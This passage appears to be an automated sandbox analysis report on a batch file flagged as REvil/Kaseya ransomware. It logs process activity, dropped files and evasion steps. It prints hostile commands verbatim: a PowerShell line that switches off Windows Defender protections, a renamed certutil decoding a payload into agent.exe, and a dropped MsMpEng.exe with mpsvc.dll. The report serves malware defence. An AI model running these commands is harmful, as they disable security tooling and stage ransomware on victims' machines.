        Source: C:\Users\user\Desktop\agent.exe, type: DROPPEDMatched rule: APT_MAL_REvil_Kaseya_Jul21_2 date = 2021-07-02, hash5 = d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20, hash4 = d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f, hash3 = cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6, hash2 = 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd, hash1 = 0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402, author = Florian Roth, description = Detects malware used in the Kaseya supply chain attack, hash6 = e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2, reference = https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b
        Source: classification engineClassification label: mal84.rans.troj.evad.winBAT@14/10@0/1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Documents\20210715Jump to behavior
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:956:120:WilError_01
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w4p4f3yn.ecm.ps1Jump to behavior
        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\user\Desktop\first_stage.bat' '
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b818384f6f636b55ba6f5af0c6a7784d\mscorlib.ni.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\user\Desktop\first_stage.bat' '
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe 'C:\WINDOWS\system32\cmd.exe' /c ping 127.0.0.1 -n 2
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 2
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent Never
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\cert.exe C:\Windows\cert.exe -decode C:\Users\user\desktop\agent.crt C:\Users\user\Desktop\agent.exe
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\Desktop\agent.exe C:\Users\user\Desktop\agent.exe'
        Source: C:\Users\user\Desktop\agent.exeProcess created: C:\Windows\MsMpEng.exe C:\Windows\MsMpEng.exe
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe 'C:\WINDOWS\system32\cmd.exe' /c ping 127.0.0.1 -n 2 Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent Never Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\cert.exe C:\Windows\cert.exe -decode C:\Users\user\desktop\agent.crt C:\Users\user\Desktop\agent.exe Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\Desktop\agent.exe C:\Users\user\Desktop\agent.exe'Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 2 Jump to behavior
        Source: C:\Users\user\Desktop\agent.exeProcess created: C:\Windows\MsMpEng.exe C:\Windows\MsMpEng.exeJump to behavior
        Source: Window RecorderWindow detected: More than 3 window changes detected
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
        Source: Binary string: MsMpEng.pdb source: cert.exe, 00000009.00000002.632837299.0000010BDFBA0000.00000004.00000001.sdmp, agent.exe, 0000000B.00000000.648796036.0000000000E75000.00000002.00020000.sdmp, MsMpEng.exe, 0000000C.00000000.651893828.0000000000BE1000.00000020.00020000.sdmp, agent.exe.9.dr
        Source: Binary string: certutil.pdb source: cert.exe, 00000009.00000000.625173217.00007FF7EB9B9000.00000002.00020000.sdmp, cert.exe.0.dr
        Source: Binary string: certutil.pdbGCTL source: cert.exe, 00000009.00000000.625173217.00007FF7EB9B9000.00000002.00020000.sdmp, cert.exe.0.dr
        Source: cert.exe.0.drStatic PE information: real checksum: 0x18af66 should be: 0x184405
        Source: mpsvc.dll.11.drStatic PE information: real checksum: 0xc5ba6 should be: 0xc5da6
        Source: cert.exe.0.drStatic PE information: section name: .didat

        Persistence and Installation Behavior:

        barindex
        Drops executables to the windows directory (C:\Windows) and starts themShow sources
        Source: C:\Users\user\Desktop\agent.exeExecutable created and started: C:\Windows\MsMpEng.exeJump to behavior
        Source: C:\Windows\System32\cmd.exeExecutable created and started: C:\Windows\cert.exeJump to behavior
        Source: C:\Windows\cert.exeFile created: C:\Users\user\Desktop\agent.exeJump to dropped file
        Source: C:\Users\user\Desktop\agent.exeFile created: C:\Windows\MsMpEng.exeJump to dropped file
        Source: C:\Users\user\Desktop\agent.exeFile created: C:\Windows\mpsvc.dllJump to dropped file
        Source: C:\Windows\System32\cmd.exeFile created: C:\Windows\cert.exeJump to dropped file
        Source: C:\Users\user\Desktop\agent.exeFile created: C:\Windows\MsMpEng.exeJump to dropped file
        Source: C:\Users\user\Desktop\agent.exeFile created: C:\Windows\mpsvc.dllJump to dropped file
        Source: C:\Windows\System32\cmd.exeFile created: C:\Windows\cert.exeJump to dropped file
        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

        Malware Analysis System Evasion:

        barindex
        Uses ping.exe to sleepShow sources
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 2
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 2 Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5244Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3809Jump to behavior
        Source: C:\Windows\MsMpEng.exeWindow / User API: threadDelayed 9950Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2376Thread sleep count: 5244 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2376Thread sleep count: 3809 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5552Thread sleep time: -3689348814741908s >= -30000sJump to behavior
        Source: C:\Windows\MsMpEng.exe TID: 5856Thread sleep count: 9950 > 30Jump to behavior
        Source: C:\Windows\MsMpEng.exeLast function: Thread delayed
        Source: C:\Windows\MsMpEng.exeLast function: Thread delayed
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: powershell.exe, 00000005.00000002.615206476.000001C018D30000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
        Source: powershell.exe, 00000005.00000002.615206476.000001C018D30000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
        Source: powershell.exe, 00000005.00000002.615206476.000001C018D30000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
        Source: powershell.exe, 00000005.00000002.615206476.000001C018D30000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior

        HIPS / PFW / Operating System Protection Evasion:

        barindex
        Disables Windows Defender (via service or powershell)Show sources
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent Never
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent Never Jump to behavior
        Drops or copies MsMpEng.exe (Windows Defender, likely to bypass HIPS)Show sources
        Source: C:\Users\user\Desktop\agent.exeFile created: C:\Windows\MsMpEng.exeJump to dropped file
        Drops or copies certutil.exe with a different name (likely to bypass HIPS)Show sources
        Source: C:\Windows\System32\cmd.exeFile created: C:\Windows\cert.exeJump to dropped file
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe 'C:\WINDOWS\system32\cmd.exe' /c ping 127.0.0.1 -n 2 Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent Never Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\cert.exe C:\Windows\cert.exe -decode C:\Users\user\desktop\agent.crt C:\Users\user\Desktop\agent.exe Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\Desktop\agent.exe C:\Users\user\Desktop\agent.exe'Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 2 Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent Never
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent Never Jump to behavior
        Source: MsMpEng.exe, 0000000C.00000002.813034566.00000000015A0000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
        Source: MsMpEng.exe, 0000000C.00000002.813034566.00000000015A0000.00000002.00000001.sdmpBinary or memory string: Progman
        Source: MsMpEng.exe, 0000000C.00000002.813034566.00000000015A0000.00000002.00000001.sdmpBinary or memory string: Program Manager@>C
        Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
